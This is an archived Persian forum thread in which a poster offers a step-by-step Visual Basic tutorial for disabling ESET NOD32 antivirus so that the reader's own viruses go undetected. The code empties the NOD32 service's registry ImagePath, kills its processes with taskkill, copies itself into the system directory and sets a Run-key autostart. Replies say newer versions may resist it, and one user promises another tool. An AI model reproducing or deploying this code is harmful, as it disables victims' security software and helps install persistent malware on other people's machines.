PDA

توجه ! این یک نسخه آرشیو شده میباشد و در این حالت شما عکسی را مشاهده نمیکنید برای مشاهده کامل متن و عکسها بر روی لینک مقابل کلیک کنید : از کار انداخت nod32 با این سورس کد



atena-ati
12th August 2010, 06:03 PM
در ابتدا باید عرض کنیم که از همه دوستانی که در بخش آنتی فعالیت میکنم پوزش میخوام که خلاف جهت اونها حرکت میکنم!!
یکی از دغدغه های تمایی کسانی که میخوان ویروس نویسی کنن اینه که آنتی ویروس خیلی سریع ویروس اونا رو شناسایی میکنه و از بین میبره


حالا واسه این مشکل چندتا راه حل وجود داره اینکه از پچر استفاده کنید که یه خورده قدیمی شده و دیگه کاربردی چندانی نداره و راه حلی که من پیشنهاد میکنم اینه که آنتی ویروس رو از کار بندازید . . . . http://www.p30i.com/forum/images/smilies/yahoo/13.gif ولی خدایی از من نشنیده بگیرین !!!


شروع میکنیم


برای این کار باید 6 مرحله را بگذرانید:



1-ویژوال بیسیک را اجرا کنید.standard exe را انتخاب و یک command و یک timer هم به form اضافه کنید و interval timer هم برابر 3000 قرار دهید.




2-روی form دو بار کلیک کنید و کدهای زیر را درونش وارد کنید:






n = 30


App.TaskVisible = False


If App.Path = SysDir Then


Me.Hide


App.TaskVisible = False


Command1_Click


End If






3-روی command دو بار کلیک کنید و کدهای زیر را درونش کپی کنید:






SaveString HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\NOD32krn", "ImagePath", ""


SaveString HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet001\Services\NOD32krn ", "ImagePath", ""


SaveString HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet002\Services\NOD32krn ", "ImagePath", ""


SaveString HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run ", "AntiNod32", SysDir & "\antinod32.exe"


Shell "taskkill /f /im NOD32KRN.EXE", vbHide


Shell "taskkill /f /im NOD32KUI.EXE", vbHide


If App.Path <> SysDir Then


MsgBox "Nod32 Anti Virus Disabled Successfull !", vbInformation, "Anti Nod32"


FileCopy App.Path & "\" & App.EXEName & ".exe", SysDir & "\" & "antinod32.exe"


End If




4-در قسمت general فرم کد زیر را وارد کنید:




Dim n As Integer




5-در مرحله آخر،روی timer دوبار کلیک کنید و کدهای زیر را وارد کنید:






SaveString HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\NOD32krn", "ImagePath", ""


SaveString HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet001\Services\NOD32krn ", "ImagePath", ""


SaveString HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet002\Services\NOD32krn ", "ImagePath", ""


SaveString HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run ", "AntiNod32", SysDir & "\antinod32.exe"


Shell "taskkill /f /im NOD32KRN.EXE", vbHide


Shell "taskkill /f /im NOD32KUI.EXE", vbHide




6-یک module درست کنید(از منوی project ) و کدهای زیر را درونش کپی کنید:






Public Const HKEY_LOCAL_MACHINE = &H80000002


Public Const HKEY_CURRENT_USER = &H80000001


Declare Function RegCloseKey Lib "advapi32.dll" (ByVal Hkey As Long) As Long


Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long


Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String) As Long


Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal Hkey As Long, ByVal lpValueName As String) As Long


Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long


Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long


Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long


Public Const REG_SZ = 1


Public Const REG_DWORD = 4


Public Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long


Public Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long




Public Function SysDir() As String


Dim SysPath As String


SysPath = String(255, vbNullChar)


GetSystemDirectory SysPath, 255


SysDir = Left(SysPath, InStr(SysPath, vbNullChar) - 1)


End Function


Public Function exist(name As String) As Boolean


exist = (Dir(name, vbNormal Or vbReadOnly Or vbHidden Or vbSystem Or vbArchive) <> "")


End Function


Public Function GetString(Hkey As Long, strPath As String, strValue As String)


Dim keyhand As Long


Dim datatype As Long


Dim lResult As Long


Dim strBuf As String


Dim lDataBufSize As Long


Dim intZeroPos As Integer


r = RegOpenKey(Hkey, strPath, keyhand)


lResult = RegQueryValueEx(keyhand, strValue, 0&, lValueType, ByVal 0&, lDataBufSize)


If lValueType = REG_SZ Then


strBuf = String(lDataBufSize, " ")


lResult = RegQueryValueEx(keyhand, strValue, 0&, 0&, ByVal strBuf, lDataBufSize)


If lResult = ERROR_SUCCESS Then


intZeroPos = InStr(strBuf, Chr$(0))


If intZeroPos > 0 Then


GetString = Left$(strBuf, intZeroPos - 1)


Else


GetString = strBuf


End If


End If


End If


End Function




Public Sub SaveString(Hkey As Long, strPath As String, strValue As String, strdata As String)


Dim keyhand As Long


Dim r As Long


r = RegCreateKey(Hkey, strPath, keyhand)


r = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strdata, Len(strdata))


r = RegCloseKey(keyhand)


End Sub




Function SaveDword(ByVal Hkey As Long, ByVal strPath As String, ByVal strValueName As String, ByVal lData As Long)


Dim lResult As Long


Dim keyhand As Long


Dim r As Long


r = RegCreateKey(Hkey, strPath, keyhand)


lResult = RegSetValueEx(keyhand, strValueName, 0&, REG_DWORD, lData, 4)


r = RegCloseKey(keyhand)


End Function




تبریک می گم.حالا دیگه ویروس های شما از سد آنتی ویروس nod32 هم رد میشه.[tashvigh]


منبع:http://www.p30i.com/forum/showthread.php?t=6355 (http://njavan.com/forum/redirector.php?url=http%3A%2F%2Fwww.p30i.com%2Ffor um%2Fshowthread.php%3Ft%3D6355)

Arash.All
12th August 2010, 07:13 PM
سلام .
نکته اول اینکه پست خودتون رو ویرایش کنید و کدها رو داخل تگ Code قرار بدین .
نکته بعدی اینکه این موارد و این تکنیک ها توی نسخه های جدید این آنتی ویروس بعیده که جوابگو باشن .

sanatoramir
18th August 2010, 12:27 AM
قدیمی شد روشی خوب هست می شه از سدش بگذری این رو یک ماه پیش دادم به خود ایست انلازش کرد دیگه ایست نمی شه گول زد [labkhand]

sanatoramir
18th August 2010, 12:30 AM
خودم یکی ساختم که تو هفته ها اینده بهتون می دم

استفاده از تمامی مطالب سایت تنها با ذکر منبع آن به نام سایت علمی نخبگان جوان و ذکر آدرس سایت مجاز است

استفاده از نام و برند نخبگان جوان به هر نحو توسط سایر سایت ها ممنوع بوده و پیگرد قانونی دارد